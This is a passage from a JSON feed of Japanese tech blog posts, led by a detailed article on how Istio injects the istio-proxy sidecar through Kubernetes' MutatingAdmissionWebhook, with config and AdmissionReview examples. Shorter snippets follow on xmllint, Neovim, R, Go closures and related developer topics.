admission-controllersアドオンについてadmission-controllersアドオンとはadmissionプラグインの種類MutatingAdmissionWebhookプラグインMutatingAdmissionWebhookプラグインとはAdmissionReview、AdmissionRequest、AdmissionResponse▼ AdmissionReview▼ AdmissionRequest▼ AdmissionResponse04. サイドカーインジェクションの仕組み全体のフロークライアント ➡︎ kube-apiserverここで説明するフロー箇所(1) Podの作成をリクエストkube-apiserver ➡︎ Serviceここで説明するフロー箇所(2) 認証/認可処理をコール(3) アドオンの処理をコール(4) AdmissionRequestに値を詰める(5) AdmissionReviewを送信Service ➡︎ webhookサーバーここで説明するフロー箇所(6) 15017番ポートにポートフォワーディングkube-apiserver ⬅︎ Service ⬅︎ webhookサーバー (※逆向きの矢印)ここで説明するフロー箇所(7) patch処理を定義(8) AdmissionResponseに値を詰める(9) AdmissionReviewを返信kube-apiserver ➡︎ etcdここで説明するフロー箇所(10) patch処理をコール(11) マニフェストを永続化クライアント ⬅︎ kube-apiserverここで説明するフロー箇所(12) コール完了を返信以降の仕組み05. おわりに記事関連のおすすめ書籍01. はじめに推し (Istio) が尊い\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4Fさて、前回の記事の時と同様に、最近の業務でもオンプレとAWS上のIstio⛵️をひたすら子守りしています。今回は、子守りの前提知識の復習もかねて、サービスメッシュを実装するIstioサイドカーインジェクションを記事で解説しました。解説するのは、執筆時点 (2023/01/14) 時点で最新の 1.14 系のIstioです。執筆時点 (2023/01/14) では、Istioが実装するサービメッシュには、『サイドカープロキシメッシュ』と『アンビエントメッシュ』があります。サイドカープロキシメッシュの仕組みの軸になっているものは、サイドカーコンテナであるistio-proxyコンテナです。Istioは、KubernetesのPodの作成時に、istio-proxyコンテナをPod内に自動的にインジェクション (注入) しますそれでは、もりもり布教していきます\uD83D\uDE1702. サービスメッシュが登場した経緯なぜサービスメッシュが登場したのかそもそも、なぜサービスメッシュが登場したのでしょうか。マイクロサービスアーキテクチャのシステムには、アーキテクチャ固有のインフラ領域の問題 (例:サービスディスカバリーの必要性、マイクロサービス間通信の暗号化、テレメトリー作成など) があります。アプリエンジニアが各マイクロサービス内にインフラ領域の問題に関するロジックを実装すれば、これらの問題の解決できます。しかし、アプリエンジニアはアプリ領域の問題に責務を持ち、インフラ領域の問題はインフラエンジニアで解決するようにした方が、互いに効率的に開発できます。そこで、インフラ領域の問題を解決するロジックをサイドカーとして切り分けます。これにより、アプリエンジニアとインフラエンジニアの責務を分離可能になり、凝集度が高くなります。また、インフラ領域の共通ロジックをサイドカーとして各マイクロサービスに提供できるため、単純性が高まります。こういった流れの中で、サービスメッシュが登場しました。servicemesh.es | Service Mesh ComparisonWhat is Service Mesh and why is it needed in Kubernetes?サービスメッシュのモデル前述の通り、サービスメッシュの登場前は、アプリエンジニアが各マイクロサービス内にインフラ領域の問題に関するロジックを実装していました。これを、『共有ライブラリモデル』と呼びます。その後、『サイドカーモデル』とも呼ばれるサイドカープロキシメッシュが登場しました。執筆時点 (2023/01/14) では、『カーネルモデル』とも呼ばれるサイドカーフリーメッシュが登場しています。サイドカープロキシメッシュIstioのサイドカーによるサービスメッシュ (サイドカープロキシメッシュ) は、サイドカーコンテナ (istio-proxyコンテナ) が稼働するデータプレーンサイドカーを中央集権的に管理するIstiod (discoveryコンテナ) が稼働するコントロールプレーンからなります。Istio / Architecture03. admission-controllersアドオンについてadmission-controllersアドオンとはIstioのPod内へのサイドカーインジェクションの前提知識として、admission-controllersアドオンを理解する必要があります。もし、admission-controllersアドオンをご存知の方は、 04. サイドカーインジェクションの仕組み まで飛ばしてください\uD83D\uDE47\uD83C\uDFFB‍kube-apiserverでは、admission-controllersアドオンを有効化できます。有効化すると、認証ステップと認可ステップの後にmutating-admissionステップとvalidating-admissionステップを実行でき、admissionプラグインの種類に応じた処理を挿入できます。クライアント (kubectlクライアント、Kubernetesリソース) からのリクエスト (例:Kubernetesリソースに対する作成/更新/削除、kube-apiserverからのプロキシへの転送) 時に、各ステップでadmissionプラグインによる処理 (例:アドオンビルトイン処理、独自処理) を発火させられます。Admission Controllers Reference | KubernetesKubernetes Best Practices: Blueprints for Building Successful Applications on Kubernetesadmissionプラグインの種類admission-controllersアドオンのadmissionプラグインには、たくさんの種類があります。IstioがPod内にサイドカーをインジェクションする時に使用しているアドオンは、『MutatingAdmissionWebhook』です。CertificateApprovalCertificateSigningCertificateSubjectRestrictionDefaultIngressClassDefaultStorageClassDefaultTolerationSecondsLimitRanger\\"MutatingAdmissionWebhook\\" \uD83D\uDC48 これNamespaceLifecyclePersistentVolumeClaimResizePodSecurityPriorityResourceQuotaRuntimeClassServiceAccountStorageObjectInUseProtectionTaintNodesByConditionValidatingAdmissionWebhookAdmission Controllers Reference | KubernetesMutatingAdmissionWebhookプラグインMutatingAdmissionWebhookプラグインとはMutatingAdmissionWebhookプラグインを使用すると、mutating-admissionステップ時に、リクエスト内容を変更する処理をフックできます。フックする具体的な処理として、webhookサーバーにAdmissionRequestリクエストとして送信することにより、レスポンスのAdmissionResponseに応じてリクエスト内容を動的に変更します。MutatingWebhookConfigurationで、MutatingAdmissionWebhookプラグインの発火条件やwebhookサーバーの宛先情報を設定します。MutatingWebhookConfigurationの具体的な実装については、サイドカーインジェクションの仕組みの中で説明していきます。Diving into Kubernetes MutatingAdmissionWebhook | by Morven Cao | IBM Cloud | MediumKubernetes Admission Webhook覚書き - gashirar\'s blogAdmission Webhookを作って遊んで、その仕組みを理解しよう(説明編)AdmissionReview、AdmissionRequest、AdmissionResponse▼ AdmissionReviewAdmissionReviewは以下のようなJSONであり、kube-apiserverとwebhookサーバーの間でAdmissionRequestとAdmissionResponseを運びます。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionRequest \\"request\\": {}, # AdmissionResponse \\"response\\": {},}v1 package - k8s.io/api/admission/v1 - Go Packages▼ AdmissionRequestAdmissionRequestは以下のようなJSONです。kube-apiserverがクライアントから受信した操作内容が持つことがわかります。例で挙げたAdmissionRequestでは、クライアントがDeploymentをCREATE操作するリクエストをkube-apiserverに送信したことがわかります。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionRequest \\"request\\": { ... # 変更されるKubernetesリソースの種類を表す。 \\"resource\\": { \\"group\\": \\"apps\\", \\"version\\": \\"v1\\", \\"resource\\": \\"deployments\\" }, # kube-apiserverの操作の種類を表す。 \\"operation\\": \\"CREATE\\", ... }}Dynamic Admission Control | Kubernetes▼ AdmissionResponse一方でAdmissionResponseは、例えば以下のようなJSONです。AdmissionResponseは、マニフェスト変更処理をpatchキーの値に持ち、これはbase64方式でエンコードされています。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionResponse \\"response\\": { \\"uid\\": \\"\\", # 宛先のwebhookサーバーが受信したか否かを表す。 \\"allowed\\": true, # PathによるPatch処理を行う。 \\"patchType\\": \\"JSONPatch\\", # Patch処理の対象となるKubernetesリソースと処理内容を表す。base64方式でエンコードされている。 \\"patch\\": \\"W3sib3AiOiAiYWRkIiwgInBhdGgiOiAiL3NwZWMvcmVwbGljYXMiLCAidmFsdWUiOiAzfV0=\\", },}エンコード値をデコードしてみると、例えば以下のようなpatch処理が定義されています。# patchキーをbase64方式でデコードした場合[{\\"op\\": \\"add\\", \\"path\\": \\"/spec/replicas\\", \\"value\\": 3}]マニフェストに対する操作 (op) 、キー (path) 、値 (value) が設定されています。kube-apiserverがこれを受信すると、指定されたキー (.spec.replicas) に値 (3) に追加します。Dynamic Admission Control | Kubernetes04. サイドカーインジェクションの仕組み全体のフロー前提知識を踏まえた上で、admission-controllersアドオンの仕組みの中で、サイドカーのistio-proxyコンテナがどのようにPodにインジェクションされるのかを見ていきましょう。最初に、サイドカーインジェクションのフローは以下の通りになっています。(画像はタブ開き閲覧を推奨)Istio in Action (English Edition)クライアント ➡︎ kube-apiserverここで説明するフロー箇所『クライアント ➡︎ kube-apiserver』の箇所を説明します。(画像はタブ開き閲覧を推奨)(1) Podの作成をリクエストまずは、クライアントがkube-apiserverにリクエストを送信するところです。クライアント (Deployment、DaemonSet、StatefulSet、を含む) は、Podの作成リクエストをkube-apiserverに送信します。この時のリクエスト内容は、以下の通りとします。# Podを作成する。$ kubectl apply -f foo-pod.yaml# foo-pod.yamlファイルapiVersion: v1kind: Podmetadata: name: foo-pod namespace: foo-namespacespec: containers: - name: foo image: foo:1.0.0 ports: - containerPort: 80またNamespaceでは、あらかじめistio-proxyコンテナのインジェクションが有効化されているとします。Istioではv1.10以降、リビジョンの番号のエイリアスを使用して、istio-proxyコンテナのインジェクションを有効化するようになりました。apiVersion: v1kind: Namespacemetadata: name: foo-namespace labels: # istio-proxyコンテナのインジェクションを有効化する。 # エイリアスは自由 istio.io/rev: <エイリアス>Istio / Announcing Support for 1.8 to 1.10 Direct Upgrades▶ istio.io/revラベル値のエイリアスについてistio.io/revラベル値は、どんなエイリアスでもよいです。よくあるエイリアスとしてdefaultやstableを使用します\uD83D\uDC4Dkube-apiserver ➡︎ Serviceここで説明するフロー箇所『kube-apiserver ➡︎ Service』の箇所を説明します。(画像はタブ開き閲覧を推奨)(2) 認証/認可処理をコールkube-apiserverは、認証ステップと認可ステップにて、クライアントからのリクエストを許可します。(3) アドオンの処理をコールkube-apiserverは、mutating-admissionステップにて、MutatingAdmissionWebhookプラグインの処理をコールします。前提知識の部分で具体的な実装を省略しましたが、Istioのバージョン1.14.3時点で、MutatingWebhookConfigurationは以下のようになっています。Namespaceでサイドカーインジェクションを有効化する時に使用したエイリアスは、このMutatingWebhookConfigurationで実体のリビジョン番号と紐づいています。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yamlapiVersion: admissionregistration.k8s.io/v1beta1kind: MutatingWebhookConfigurationmetadata: name: istio-revision-tag-default labels: app: sidecar-injector # エイリアスの実体 istio.io/rev: <リビジョン番号> # リビジョン番号のエイリアス istio.io/tag: <エイリアス>webhooks: - name: rev.namespace.sidecar-injector.istio.io # MutatingAdmissionWebhookプラグインの処理の発火条件を登録する。 rules: - apiGroups: [\\"\\"] apiVersions: [\\"v1\\"] operations: [\\"CREATE\\"] resources: [\\"pods\\"] scope: \\"*\\" # Webhookの前段にあるServiceの情報を登録する。 clientConfig: service: name: istiod-<リビジョン番号> namespace: istio-system path: \\"/inject\\" # エンドポイント port: 443 caBundle: Ci0tLS0tQk ... # Namespace単位のサイドカーインジェクション # 特定のNamespaceでMutatingAdmissionWebhookプラグインの処理を発火させる。 namespaceSelector: matchExpressions: - key: istio.io/rev operator: DoesNotExist - key: istio-injection operator: DoesNotExist # Pod単位のサイドカーインジェクション # 特定のオブジェクトでMutatingAdmissionWebhookプラグインの処理を発火させる。 objectSelector: matchExpressions: - key: sidecar.istio.io/inject operator: NotIn values: - \\"false\\" - key: istio.io/rev operator: In values: - <エイリアス> ...MutatingWebhookConfigurationには、MutatingAdmissionWebhookプラグインの発火条件やwebhookサーバーの宛先情報を定義します。MutatingAdmissionWebhookプラグインの発火条件に関して、例えばIstioでは、 NamespaceやPod.metadata.labelsキーに応じてサイドカーインジェクションの有効化/無効化を切り替えることができ、これをMutatingAdmissionWebhookプラグインで制御しています。webhookサーバーの宛先情報に関して、Istioではwebhookサーバーの前段にServiceを配置しています。MutatingAdmissionWebhookプラグインが発火した場合、Serviceの/inject:443にHTTPSプロトコルのリクエストを送信するようになっています。また、宛先のServiceの名前がistiod-<リビジョン番号>となっていることからもわかるように、Serviceは特定のバージョンのIstiodコントロールプレーンに対応しており、想定外のバージョンのIstiodコントロールプレーンを指定しないように制御しています。一方で発火しなかった場合には、以降のAdmissionReviewの処理には進みません。(4) AdmissionRequestに値を詰めるkube-apiserverは、mutating-admissionステップにて、クライアントからのリクエスト内容 (Podの作成リクエスト) をAdmissionReveiew構造体のAdmissionRequestに詰めます。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionRequest \\"request\\": { ... # 変更されるKubernetesリソースの種類を表す。 \\"resource\\": { \\"group\\": \\"core\\", \\"version\\": \\"v1\\", \\"resource\\": \\"pods\\" }, # kube-apiserverの操作の種類を表す。 \\"operation\\": \\"CREATE\\", ... }}(5) AdmissionReviewを送信kube-apiserverは、mutating-admissionステップにて、Serviceの/inject:443にAdmissionReview構造体を送信します。Service ➡︎ webhookサーバーここで説明するフロー箇所『Service ➡︎ webhookサーバー』の箇所を説明します。(画像はタブ開き閲覧を推奨)(6) 15017番ポートにポートフォワーディングServiceは、/inject:443でリクエストを受信し、discoveryコンテナの15017番ポートにポートフォワーディングします。Istioのバージョン1.14.3時点で、Serviceは以下のようになっています。$ kubectl get svc istiod-service -n istio-system -o yamlapiVersion: v1kind: Servicemetadata: labels: app: istiod name: istiod-<リビジョン番号> namespace: istio-systemspec: type: ClusterIP selector: app: istiod istio.io/rev: <リビジョン番号> ports: - name: grpc-xds port: 15010 protocol: TCP targetPort: 15010 - name: https-dns port: 15012 protocol: TCP targetPort: 15012 # webhookサーバーにポートフォワーディングする。 - name: https-webhook port: 443 protocol: TCP targetPort: 15017 - name: http-monitoring port: 15014 protocol: TCP targetPort: 15014.spec.selector.istio.io/revキーに、ポートフォワーディング先のPodを指定するためのリビジョン番号が設定されており、このPodはdiscoveryコンテナを持ちます。Istioは、discoveryコンテナ内でwebhookサーバーを実行し、15017番ポートでリクエストを待ち受けます。▶ istio.io/rev`discovery`コンテナの待ち受けポートについてdiscoveryコンテナがリクエストを待ち受けているポート番号を見てみると、15017番ポートでリッスンしていることを確認できます\uD83D\uDC4D$ kubectl exec foo-istiod -n istio-system -- netstat -tulpnActive Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program nametcp 0 0 127.0.0.1:9876 0.0.0.0:* LISTEN 1/pilot-discoverytcp6 0 0 :::15017 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::8080 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::15010 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::15012 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::15014 :::* LISTEN 1/pilot-discovery> - istio/pkg/kube/inject/webhook.go at 1.14.3 \xb7 istio/istio \xb7 GitHub> - https://istio.io/latest/docs/ops/deployment/requirements/#ports-used-by-istiokube-apiserver ⬅︎ Service ⬅︎ webhookサーバー (※逆向きの矢印)ここで説明するフロー箇所『kube-apiserver ⬅︎ Service ⬅︎ webhookサーバー』の箇所を説明します。矢印が逆向きなことに注意してください。(画像はタブ開き閲覧を推奨)(7) patch処理を定義仕組みの中でも、ここは重要な部分です。discoveryコンテナ内のwebhookサーバーは、リクエスト内容を書き換えるためのpatch処理を定義します。webhookサーバーは、マニフェストの.spec.containers[1]パスにistio-proxyキーを追加させるようなpatch処理を定義します。この定義によって、結果的にサイドカーのインジェクションが起こるということになります。[ ... { \\"op\\": \\"add\\", # .spec.initContainers[1] を指定する。 \\"path\\": \\"/spec/initContainers/1\\", # マニフェストに追加される構造を表す。 \\"value\\": { \\"name\\": \\"istio-init\\", \\"resources\\": { ... } } }, { \\"op\\": \\"add\\", # .spec.containers[1] を指定する。 \\"path\\": \\"/spec/containers/1\\", # マニフェストに追加される構造を表す。 \\"value\\": { \\"name\\": \\"istio-proxy\\", \\"resources\\": { ... } } } ...]istio/pkg/kube/inject/webhook.go at 1.14.3 \xb7 istio/istio \xb7 GitHubistio/pkg/kube/inject/webhook_test.go at 1.14.3 \xb7 istio/istio \xb7 GitHubこの時、サイドカーのテンプレートに割り当てられた値が、patch処理を内容を決めます。type SidecarTemplateData struct { TypeMeta metav1.TypeMeta DeploymentMeta metav1.ObjectMeta ObjectMeta metav1.ObjectMeta Spec corev1.PodSpec ProxyConfig *meshconfig.ProxyConfig MeshConfig *meshconfig.MeshConfig Values map[string]interface{} Revision string EstimatedConcurrency int ProxyImage string}...istio/pkg/kube/inject/inject.go at 1.14.3 \xb7 istio/istio \xb7 GitHub▶ patch処理でインジェクションするコンテナについてistio-proxyコンテナの他に、InitContainerのistio-initコンテナもインジェクション可能にします。このistio-initコンテナは、istio-proxyコンテナを持つPodです。インバウンド/アウトバウンド通信の経路を制御するために、Pod内にiptablesのルールを適用する責務を担っています\uD83D\uDCAA\uD83C\uDFFBIstio Sidecar\'s interception mechanism for traffic - SoByte(8) AdmissionResponseに値を詰めるdiscoveryコンテナ内のwebhookサーバーは、patch処理の定義をAdmissionReveiew構造体のAdmissionResponseに詰めます。patchキーの値に、先ほどのpatch処理の定義をbase64方式でエンコードした文字列が割り当てられています。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionResponse \\"response\\": { \\"uid\\": \\"*****\\", \\"allowed\\": true, \\"patchType\\": \\"JSONPatch\\", # Patch処理の対象となるKubernetesリソースと処理内容を表す。base64方式でエンコードされている。 \\"patch\\": \\"<先ほどのpatch処理の定義をbase64方式でエンコードした文字列>\\", },}istio/pkg/kube/inject/webhook.go at 1.14.3 \xb7 istio/istio \xb7 GitHub(9) AdmissionReviewを返信discoveryコンテナ内のwebhookサーバーは、AdmissionReview構造体をレスポンスとしてkube-apiserverに返信します。kube-apiserver ➡︎ etcdここで説明するフロー箇所『kube-apiserver ➡︎ etcd』の箇所を説明します。(画像はタブ開き閲覧を推奨)(10) patch処理をコールkube-apiserverは、AdmissionReview構造体を受信し、AdmissionResponseに応じてリクエスト内容を書き換えます。patch処理の定義をAdmissionReview構造体から取り出し、クライアントからのリクエスト内容を書き換えます。具体的には、istio-proxyコンテナとistio-initコンテナを作成するために、リクエストしたマニフェストの該当箇所にキーを追加します。apiVersion: v1kind: Podmetadata: name: foo-pod namespace: foo-namespacespec: containers: - name: foo image: foo:1.0.0 ports: - containerPort: 80 # kube-apiserverが追加 - name: istio-proxy ... # kube-apiserverが追加 initContainers: - name: istio-init ...(11) マニフェストを永続化kube-apiserverは、etcdにPodのマニフェストを永続化します。クライアント ⬅︎ kube-apiserverここで説明するフロー箇所『クライアント ⬅︎ kube-apiserver』の箇所を説明します。(画像はタブ開き閲覧を推奨)(12) コール完了を返信kube-apiserverは、クライアントにレスポンスを受信します。$ kubectl apply -f foo-pod.yaml# kube-apiserverからレスポンスが返ってくるpod \\"foo-pod\\" created以降の仕組み(画像はタブ開き閲覧を推奨)kube-apiserverは、他のNodeコンポーネント (kube-controlleretcd、kube-scheduler、kubeletなど) と通信し、Podを作成します。このPodのマニフェストは、アプリコンテナの他に、istio-proxyコンテナとistio-initコンテナを持ちます。結果として、サイドカーコンテナのistio-proxyコンテナをインジェクションしたことになります。▶ kube-apiserverと他コンポーネントの通信についてKubernetes Master Components: Etcd, API Server, Controller Manager, and Scheduler | by Jorge Acetozi | jorgeacetozi | Medium05. おわりにサービスメッシュの登場とIstioのサイドカーインジェクションの仕組みをもりもり布教しました。Istioへの愛が溢れてしまいました。今回登場したMutatingAdmissionWebhookプラグインに関して、私の関わっているプロダクトではIstio以外 (例:CertManager、Prometheus、AWSのaws-eks-vpc-cniアドオンなど) でも使用しています✌️そのため、MutatingAdmissionWebhookプラグインをどのように使っているのかを一度知れば、知識の汎用性が高いと考えています。サイドカーインジェクションはIstioでも基本的な機能であり、もし未体験の方がいらっしゃれば、お手元でサイドカーコンテナが追加されることを確認していただくとよいかもしれません\uD83D\uDC4D記事関連のおすすめ書籍Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazonIstio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and Observe作者:Calcote, Lee,Butcher, ZackO\'ReillyAmazon","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/01/14/223815","isoDate":"2023-01-14T13:38:15.000Z","dateMiliSeconds":1673703495000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"xmllint で HTML 内の任意の値を取り出す","contentSnippet":"サクッと shell script で HTML の中の何かを取り出したい時があります。 そんな時に使えるのが xmllint. しっかりやるなら python の Beautiful Soup を使ったりしますが、本当に簡単なことを簡","link":"https://blog.1q77.com/2023/01/xmllint-html-xpath/","isoDate":"2023-01-12T14:40:51.000Z","dateMiliSeconds":1673534451000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"chezmoiを使って管理しているdotfileのファイルタイプをNeovimにうまく認識させる","contentSnippet":"Neovimはファイルの名前や内容を元に、ファイルタイプを決定する機能を持っています。たとえば、拡張子が.shだったらシェルスクリプトだと判断できます。","link":"https://blog.atusy.net/2023/01/11/neovim-filetype-matching-with-chezmoi/","isoDate":"2023-01-11T00:00:00.000Z","dateMiliSeconds":1673395200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"tidymodelsでOne-hot Encodingする","contentSnippet":"きぬいとさんがtidyverseでOne-hot Encodingしているのを見ましたが、餅は餅屋でtidymodelsもいいよねという話。RでOne-hot Encodingをする with tidyverse","link":"https://blog.atusy.net/2023/01/06/tidymodels-one-hot-encoding/","isoDate":"2023-01-06T00:00:00.000Z","dateMiliSeconds":1672963200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ぼちぼちブログでもはじめます","contentSnippet":"もう新年始まって気づいたら4日目ですが、明けましておめでとうございます。アウトプットの場として2023年になり、気持ちを新たにして、なにか新しいことを始めようと思ったときに、前々からいつかやろうと思っていたブログを書くことに決めました。(いつかやろうを今やることは大事だと思う。)ここらへんで、一応、自己紹介しておきたいと思います。私は、現在、大学で情報理工学を学んでいて、ネットワークやセキュリティに興味を持っています。今までやってきたこととしては、B2のときに基本情報技術者試験、B3のときに応用情報技術者試験に合格し、他には、セキュリティ・ミニキャンプ オンライン・東京 に参加したり、Hack The Boxを少しずつやってきました。(秋学期になってからHTBはほとんど触れていないが…)他にも、いろんな勉強会にも参加してきました。今はオンラインで気軽に参加できるので。ブログを書こうかなと考えた理由は大きく3つありまして。1つ目は、セキュリティ・ミニキャンプのグループ活動でLT大会をしたときに、やっぱりアウトプットの場というのがあることで、より知識の定着につながることが実感できたからです。大学生になってからは、インプットがメインになっていてアウトプットの場がなかなかないため、どうアウトプットするのかというのは考える必要がありました。Twitterでもアウトプットはできるし、実際にそれを使っていましたが、文字数に制限があるため、正しく文章を書くには向いていません。(気楽にツイートできることがTwitterの良さではあるのですが。)2つ目は、自分の言語化能力の向上のためです。自分の頭には考えがあるのに、それをうまく伝えられなかったり、わかりにくい説明になっていたりしていたため、どうすればわかりやすく説明できるのかというのは前からの悩みでした。そこでいろいろ考えたときに自分の頭にあることを言語化するというのは、結構慣れの要素が大きいと思うため、経験を積むことが大事だという結論にいたり、それならば、早く始めた方がいいというのが、ブログを書くきっかけにもなっています。3つ目は、エンジニアになるなら、自分の技術力(今までどんなことをやってきたのか、私はどんなことができるのか)を証明するためにも技術ブログは書いておくといいということを聞くことが多いからです。今は、いきなり技術ブログを書くのは敷居が高いため、気楽に書けるこのHatena Blogでしか記事を書いていませんが、今年中には、QitaやZennの方に、技術系の記事を投稿していきたいと思っています。ブログを書く前に、Hatena Blogを使うかも結構迷っていて、自分で個人ブログサイトを作ろうかとも思ったのですが、そこに時間をかける前にさっさとブログを書き始めようということで、こちらを選択しました。そのため、今年中には、個人のブログサイトを作ってそちらに移行したいと思っています。(願望)このHatena Blogでは、月に1回は投稿していく予定です。内容としては、その月にやってきたこととか新たな発見があったこと、自分の書きたいことを勝手に発信していく感じで。ここであらかじめ宣言しておくことで、自分を追い込んでいくスタイル。(笑)技術的な話は、QiitaやZennの方に書くかもしれませんが、もしかしたら、こっちで書くかもしれません。全然考えていないため、そこら辺はこれから考えていきたいと思います。とりあえず、人生初めてのブログは、こんな感じで終わりたいと思います。近々、新年の抱負として、今年やりたいことを書きたいと思っています。","link":"https://moz-security.hatenablog.com/entry/2023/01/04/111143","isoDate":"2023-01-04T02:11:43.000Z","dateMiliSeconds":1672798303000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"Lima の vmType VZ と virtiofs を試す","contentSnippet":"Lima が version 0.14.0 で QEMU だけではなく macOS の Virtualization.Framework に対応していました。 vmtype という設定項目が増えています。 この新しい Framework では Host のディレクトリをマウントするのに virtiofs が使え","link":"https://blog.1q77.com/2022/12/lima-vz/","isoDate":"2022-12-29T15:49:47.000Z","dateMiliSeconds":1672328987000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"クロージャーのメモリ割り当てについて(Go言語)","contentSnippet":"A Tour of GoでGo言語に入門していて、クロージャーのメモリ割り当てについて疑問に思ったので調べた。クロージャーとはA Tour of Go での説明をまとめると、本体の外部から変数を参照する関数値関数は、参照した変数にアクセスして割り当てることができるという特徴がある。サンプルコードpackage mainimport \\"fmt\\"func adder() func() int { sum := 0 return func() int { sum++ return sum }}func main() { f := adder() for i := 0; i < 10; i++ { fmt.Println(f()) }}出力12345678910adder 関数はクロージャーを返し、各クロージャーは、sum 変数にバインドされている。疑問点サンプルコードではクロージャーが、adder関数で定義されたsum変数を参照、割り当てしてる。しかし、関数呼び出しといえばスタックフレームを用いるイメージしかない私にとっては、sum変数の参照がどこに残っているのか疑問。おそらくヒープ領域に割り当てられてる?GitHub issue でのやり取り調べたところ、同じ疑問に答えているissueを見つけた。質問者は、同じような処理をクロージャーを使用する場合と使用しない場合で試している。そして、クロージャーを使用した場合だとヒープ領域への割り当てが行われると言っている。実際のコードpackage mainimport ( \\"fmt\\" \\"sync\\" \\"testing\\")type Object struct {}var p sync.Pool = sync.Pool{ New: func() interface{} { return &Object{} },}type Func struct { ctx interface{}}func (this *Func) Run() { p.Put(this.ctx) }func RunWithFunc() Func { ctx := p.Get() return Func{ctx: ctx}}func RunWithClosure() func() { ctx := p.Get() return func() { p.Put(ctx) }}func Test1() { cleanup := RunWithFunc() cleanup.Run()}func Test2() { cleanup := RunWithClosure() cleanup()}func main() { f1 := testing.AllocsPerRun(1000, Test1) f2 := testing.AllocsPerRun(1000, Test2) // 0 fmt.Println(f1) // 1 fmt.Println(f2)}コードの詳しい内容は、クロージャーを使わないRunWithFuncと使用するRunWithClosureを実行する。どちらも大雑把に言うと、空の構造体をsync.Poolから取り出したり戻したりする。クロージャーを使うとヒープ領域への割り当てが行われることをtesting.AllocsPerRunが示す。といった感じ。回答者は以下のように言っている。問題は、RunWithClosure がクロージャーを返す必要があることです。関数が実行される前にスタック フレームがなくなるため、スタックに割り当てることができません。 可能な場合は、スタックにクロージャーを割り当てます。スタック上にクロージャ(これらの2つのフィールドの匿名構造体)を割り当て、呼び出された関数にそれらへのポインタを渡すことができますし、実際に行っています。ここでの問題は、その構造体がRunWithClosureの内部で割り当てられ、RunWithClosureのフレームは、cleanupを呼び出すまでになくなってしまうことです。そのため、RunWithClosureのフレームでクロージャを割り当てることはできません。それは、ヒープ上に割り当てられなければなりません。もし、RunWithClosureをその呼び出し元にインライン化すれば、そのスタック・フレームが十分に長く生きるので、呼び出し元でクロージャを割り当てることができるようになります。クロージャーが実行される前に、参照先をもつスタックフレームがなくなってしまう場合、それをヒープ領域に割り当てるらしい。またそれを避けたい場合は、関数になっている部分をインライン化するといいらしい。まとめGo言語に入門していて、クロージャーが参照している変数がどこに残っているか疑問に思ったが、GitHub issueのやり取りから、予想した通り、ヒープ領域への割り当てが行われていることがわかった。","link":"https://kechigon.hatenablog.com/entry/2022/12/29/203946","isoDate":"2022-12-29T11:39:46.000Z","dateMiliSeconds":1672313986000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"rbspy で ruby の stacktrace を flamegraph にする","contentSnippet":"中身をよく知らない Rails アプリでどこが遅いのかな?と思って rbspy (github) を試してみたのでメモ。 とりあえず使って flamegraph を書き出してみたんだけどそもそも flamegraph がどうい","link":"https://blog.1q77.com/2022/12/rbspy/","isoDate":"2022-12-28T11:26:10.000Z","dateMiliSeconds":1672226770000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Professional Cloud Security Engineer の振り返り","contentSnippet":"はじめに2022/12/28 に Google Cloud Certification の1つである、Professional Cloud Security Engineer に合格したので、そち…","link":"https://qiita.com/dirtymosschan/items/2c66eec7919220a4ec06","isoDate":"2022-12-28T08:57:17.000Z","dateMiliSeconds":1672217837000,"authorName":"Yu Kaneko","authorId":"mos914"},{"title":"rticlesパッケージで作成する文書の参考文献の位置を変える","contentSnippet":"R Markdownの参考文献は通常では文書末尾に挿入されます。しかし、多くの場合は挿入場所を、以下の呪文を唱えた場所に変更できます。::: {#refs}:::これは、R Markdownの拡張元となっているMarkdown方言(Pandoc’s Markdown)の機能です。","link":"https://blog.atusy.net/2022/12/28/rticles-reference-location/","isoDate":"2022-12-28T00:00:00.000Z","dateMiliSeconds":1672185600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"go.mod の更新","contentSnippet":"たまに使い捨ての code を書いて放置する程度だと毎回ググってしまうのでメモ。 go.mod の更新は go get や go mod tidy で行うことができる。 go の version を更新 go.mod 内の go の version は次","link":"https://blog.1q77.com/2022/12/updage-go-mod/","isoDate":"2022-12-27T03:52:31.000Z","dateMiliSeconds":1672113151000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"rstudioapi::registerChunkCallbackが面白い","contentSnippet":"rstudioapiパッケージにはRStudioを操作する様々な関数があります。registerChunkCallbackという関数が面白かったのでちょっと実験しました。","link":"https://blog.atusy.net/2022/12/26/rstudioapi-registerchunkcallback/","isoDate":"2022-12-26T00:00:00.000Z","dateMiliSeconds":1672012800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【Istio⛵️】Istioのサービス間通信を実現するサービスディスカバリーの仕組み","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" 